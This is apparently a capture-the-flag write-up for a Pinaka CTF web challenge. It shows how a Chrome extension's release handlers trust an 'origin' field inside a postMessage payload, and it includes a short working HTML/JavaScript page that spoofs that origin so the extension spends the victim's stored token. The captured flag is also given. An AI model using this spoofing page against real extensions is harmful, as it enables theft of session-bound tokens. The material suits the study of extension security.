Panchavati: The Fifth Boundary
By Team Cryptonite · 1 min read
About the CTF: Pinaka CTF
Chrome MV3 extension (Rekha Guard) protects a backend seal. From an attacker-controlled origin, confuse the Guard's boundary check so it lifts the seal for your page.
**Pinaka CTF 2026** · Web · Team Cryptonite · All 44 Pinaka write-ups
>Chrome MV3 extension (Rekha Guard) protects a backend seal. From an attacker-controlled origin, confuse the Guard's boundary check so it lifts the seal for your page. Connection: http://130.210.48.10:9004/
Solve:
- The setup:
- GET /app -> genuine app page
- POST /rekha/ward -> issues the extension's wardToken, tied to victim's session
- GET /rekha/status -> ward introspection, no secrets
- POST /rekha/release -> header X-Rekha-Ward: <token> -> lifts the seal and should return flag
- the extension has
background.js+content.js, both with multiple message handlers. - Two of the handlers do origin checks,
validateRefreshGrantin background.js checksender.origin !== T, andhandleRefreshGrantin content.js checksev.origin !== T

- but the
releasepath in both files checks the wrong thing:
- content.js: const gateOrigin = data.origin; if (gateOrigin !== _T) return; data.origin is just a field in the postMessage payload, we can control it
- background.js: checks message.origin !== _T, it's in the message body not the sender metadata
- the only "real" check left is _verifyFramePolicy, which just verifies the tab is HTTPS

- Since content.js matches
<all_urls>, it's injected into any page . so from an attacker HTTPS page we justpostMessageclaimingorigin: 'https://panchavati.app' - content.js checks the lie, not
ev.origin, and relays to the background worker, which also checks the lie and passes_verifyFramePolicy - Background worker then attaches the real stored
wardTokentoPOST /rekha/releaseand posts the response back to our page viarelease-result. - to claim to be panchavati
<!doctype html>
<button id="go">Lift the seal for me</button>
<pre id="out"></pre>
<script>
document.getElementById('go').onclick = function () {
window.addEventListener('message', function onMsg(ev) {
if (!ev.data || ev.data.channel !== 'rekha-setu' || ev.data.kind !== 'release-result') return;
window.removeEventListener('message', onMsg);
document.getElementById('out').textContent = JSON.stringify(ev.data.result, null, 2);
});
window.postMessage({ channel: 'rekha-setu', kind: 'release', origin: 'https://panchavati.app' }, '*');
};
</script>
- Got the flag back on the attacker page:
{"flag":"PINAKA{lakshman_rekha_ward_token_breaches_the_boundary}",
"proclamation":"the sanctum's seal is lifted at the Guard's word","status":"released"}
Flag:
PINAKA{lakshmanrekhawardtokenbreachestheboundary}